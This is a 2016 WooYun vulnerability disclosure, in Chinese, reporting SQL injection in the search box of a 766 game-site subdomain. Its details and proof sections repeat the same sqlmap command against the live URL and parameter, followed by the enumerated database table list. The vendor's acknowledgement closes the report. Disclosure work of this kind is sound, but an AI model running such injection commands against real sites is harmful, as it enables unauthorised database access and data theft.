漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0171201
漏洞标题：766游戏网某分站存在注入
相关厂商：766游戏网
漏洞作者： 头晕脑壳疼
提交时间：2016-01-20 11:43
修复时间：2016-03-05 09:52
公开时间：2016-03-05 09:52
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：12
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-01-20： 细节已通知厂商并且等待厂商处理中
2016-01-20： 厂商已经确认，细节仅向厂商公开
2016-01-30： 细节向核心白帽子及相关领域专家公开
2016-02-09： 细节向普通白帽子公开
2016-02-19： 细节向实习白帽子公开
2016-03-05： 细节向公众公开
简要描述：
详细说明：
搜索框没有过滤导致注入
sqlmap -u "http://gamedb.766.com/hon/hero/search.html" --data "name=99999"
89个表
Database: gamedb_766_com
+-----------------------------------+---------+
| Table | Entries |
+-----------------------------------+---------+
| area_video_guidance | 4751 |
| tps_map_score | 3062 |
| area_video_video | 2374 |
| tps_map_upload | 1160 |
| loldb_skin | 764 |
| hots_talent | 678 |
| loldb_skill | 640 |
| area_video_credit_log | 537 |
| jf_simulator_skill | 527 |
| jf_simulator_score | 521 |
| tps_map_praise | 453 |
| tbl_gamedb_lol_equip | 448 |
| tbl_gamedb_dota2_skill | 434 |
| wows_code_log | 429 |
| wows_code_user | 331 |
| tbl_gamedb_sm_equip | 273 |
| jf_simulator_upload | 228 |
| area_video_email | 212 |
| hon_skill | 211 |
| loldb_equipment | 193 |
| blol_code_log | 179 |
| blol_code_user | 130 |
| loldb_data | 130 |
| tbl_gamedb_dota2_item | 130 |
| tbl_gamedb_dota2_item_category | 130 |
| hon_item | 128 |
| loldb_hero | 128 |
| tbl_gamedb_lol_hero_parter | 119 |
| tbl_gamedb_lol_hero_period | 119 |
| tbl_gamedb_lol_hero | 118 |
| tbl_gamedb_lol_hero_copy | 118 |
| dnfmnq_data | 113 |
| tbl_gamedb_dota2_hero | 108 |
| tbl_gamedb_dota2_hero_attr | 108 |
| area_video_prize_detail | 73 |
| jf_simulator_type | 55 |
| hon_hero | 54 |
| area_video_score | 50 |
| area_video_prize_log | 49 |
| tbl_gamedb_sm_hero_cms | 46 |
| tbl_gamedb_sm_hero | 44 |
| tbl_gamedb_sm_hero_addskill | 44 |
| tbl_gamedb_sm_hero_attribute | 44 |
| tbl_gamedb_sm_hero_parter | 44 |
| tbl_gamedb_sm_hero_period | 44 |
| tbl_gamedb_sm_hero_skill | 44 |
| area_video_comment | 35 |
| hots_hero | 35 |
| tbl_gamedb_sm_hero_url | 35 |
| tbl_gamedb_sm_hero_ext_video | 30 |
| tps_map_skill | 26 |
| tps_map_map | 21 |
| loldb_summon | 15 |
| tbl_gamedb_sm_skill_ext_intro | 15 |
| tbl_gamedb_dota2_admin_node | 14 |
| speedrank_upload | 13 |
| area_video_user | 12 |
| tbl_gamedb_dota2_admin_log | 12 |
| blol_code_qa | 11 |
| hots_index_show | 11 |
| wows_code_qa | 10 |
| cod_db_data | 9 |
| tps_map_job | 9 |
| area_video_type | 6 |
| tbl_gamedb_sm_rili_other | 6 |
| area_video_admin | 5 |
| tbl_gamedb_sm_skill_copy | 5 |
| tbl_gamedb_sm_skill_copy1 | 5 |
| tbl_gamedb_lol_equip_copy | 4 |
| area_video_prize | 3 |
| speedrank_level | 3 |
| speedrank_map | 2 |
| tbl_gamedb_sm_hero_attribute_copy | 2 |
| tbl_gamedb_sm_rili | 2 |
| tbl_gamedb_sm_equip_copy1 | 1 |
| tbl_gamedb_sm_hero_free | 1 |
| tbl_gamedb_sm_hero_skill_copy1 | 1 |
| tbl_gamedb_sm_rili_everyday | 1 |
+-----------------------------------+---------+
漏洞证明：
搜索框没有过滤导致注入
sqlmap -u "http://gamedb.766.com/hon/hero/search.html" --data "name=99999"
89个表
Database: gamedb_766_com
+-----------------------------------+---------+
| Table | Entries |
+-----------------------------------+---------+
| area_video_guidance | 4751 |
| tps_map_score | 3062 |
| area_video_video | 2374 |
| tps_map_upload | 1160 |
| loldb_skin | 764 |
| hots_talent | 678 |
| loldb_skill | 640 |
| area_video_credit_log | 537 |
| jf_simulator_skill | 527 |
| jf_simulator_score | 521 |
| tps_map_praise | 453 |
| tbl_gamedb_lol_equip | 448 |
| tbl_gamedb_dota2_skill | 434 |
| wows_code_log | 429 |
| wows_code_user | 331 |
| tbl_gamedb_sm_equip | 273 |
| jf_simulator_upload | 228 |
| area_video_email | 212 |
| hon_skill | 211 |
| loldb_equipment | 193 |
| blol_code_log | 179 |
| blol_code_user | 130 |
| loldb_data | 130 |
| tbl_gamedb_dota2_item | 130 |
| tbl_gamedb_dota2_item_category | 130 |
| hon_item | 128 |
| loldb_hero | 128 |
| tbl_gamedb_lol_hero_parter | 119 |
| tbl_gamedb_lol_hero_period | 119 |
| tbl_gamedb_lol_hero | 118 |
| tbl_gamedb_lol_hero_copy | 118 |
| dnfmnq_data | 113 |
| tbl_gamedb_dota2_hero | 108 |
| tbl_gamedb_dota2_hero_attr | 108 |
| area_video_prize_detail | 73 |
| jf_simulator_type | 55 |
| hon_hero | 54 |
| area_video_score | 50 |
| area_video_prize_log | 49 |
| tbl_gamedb_sm_hero_cms | 46 |
| tbl_gamedb_sm_hero | 44 |
| tbl_gamedb_sm_hero_addskill | 44 |
| tbl_gamedb_sm_hero_attribute | 44 |
| tbl_gamedb_sm_hero_parter | 44 |
| tbl_gamedb_sm_hero_period | 44 |
| tbl_gamedb_sm_hero_skill | 44 |
| area_video_comment | 35 |
| hots_hero | 35 |
| tbl_gamedb_sm_hero_url | 35 |
| tbl_gamedb_sm_hero_ext_video | 30 |
| tps_map_skill | 26 |
| tps_map_map | 21 |
| loldb_summon | 15 |
| tbl_gamedb_sm_skill_ext_intro | 15 |
| tbl_gamedb_dota2_admin_node | 14 |
| speedrank_upload | 13 |
| area_video_user | 12 |
| tbl_gamedb_dota2_admin_log | 12 |
| blol_code_qa | 11 |
| hots_index_show | 11 |
| wows_code_qa | 10 |
| cod_db_data | 9 |
| tps_map_job | 9 |
| area_video_type | 6 |
| tbl_gamedb_sm_rili_other | 6 |
| area_video_admin | 5 |
| tbl_gamedb_sm_skill_copy | 5 |
| tbl_gamedb_sm_skill_copy1 | 5 |
| tbl_gamedb_lol_equip_copy | 4 |
| area_video_prize | 3 |
| speedrank_level | 3 |
| speedrank_map | 2 |
| tbl_gamedb_sm_hero_attribute_copy | 2 |
| tbl_gamedb_sm_rili | 2 |
| tbl_gamedb_sm_equip_copy1 | 1 |
| tbl_gamedb_sm_hero_free | 1 |
| tbl_gamedb_sm_hero_skill_copy1 | 1 |
| tbl_gamedb_sm_rili_everyday | 1 |
+-----------------------------------+---------+
修复方案：
版权声明：转载请注明来源 头晕脑壳疼@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2016-01-20 13:03
厂商回复：
感谢洞主对完美世界的关注，我们将尽快修补。
最新状态：
暂无